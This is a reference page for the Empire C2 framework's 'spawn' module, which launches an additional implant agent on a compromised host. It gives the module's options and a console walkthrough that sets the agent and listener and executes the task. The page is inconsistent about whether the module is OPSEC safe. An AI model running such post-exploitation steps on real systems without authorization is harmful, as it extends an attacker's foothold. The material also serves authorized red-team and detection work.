Spawn - Empire Module


This page contains detailed information about how to use the python/management/multi/spawn Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Spawn
Module: python/management/multi/spawn
Source code [1]: empire/server/modules/python/management/multi/spawn.yaml
Source code [2]: empire/server/modules/python/management/multi/spawn.py
MITRE ATT&CK: T1050
Language: Python
Needs admin: No
OPSEC safe: Yes
Background: No

The spawn module spawns a new Empire agent.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the spawn module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the spawn module:

Agent
Agent to execute module on.

Listener
Listener to use.

Additional Module Options

This is a list of additional options that are supported by the spawn module:

UserAgent
User-agent string to use for the staging request (default, none, or other).
Default value: default.

Spawn Example Usage

Here's an example of how to use the spawn module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/multi/bash) > usemodule python/management/multi/spawn

 Author       @harmj0y                                 
 Background   False                                    
 Description  Spawns a new Empire agent.               
 Language     python                                   
 Name         python/management/multi/spawn            
 NeedsAdmin   False                                    
 OpsecSafe    True                                     
 Techniques   http://attack.mitre.org/techniques/T1050 


,Record Options-------,----------,------------------------------------,
| Name      | Value   | Required | Description                        |
|-----------|---------|----------|------------------------------------|
| Agent     |         | True     | Agent to execute module on.        |
|-----------|---------|----------|------------------------------------|
| Listener  |         | True     | Listener to use.                   |
|-----------|---------|----------|------------------------------------|
| UserAgent | default | False    | User-agent string to use for the   |
|           |         |          | staging request (default, none, or |
|           |         |          | other).                            |
'-----------'---------'----------'------------------------------------'

(Empire: usemodule/python/management/multi/spawn) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/python/management/multi/spawn) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/python/management/multi/spawn) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

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See Also

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Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.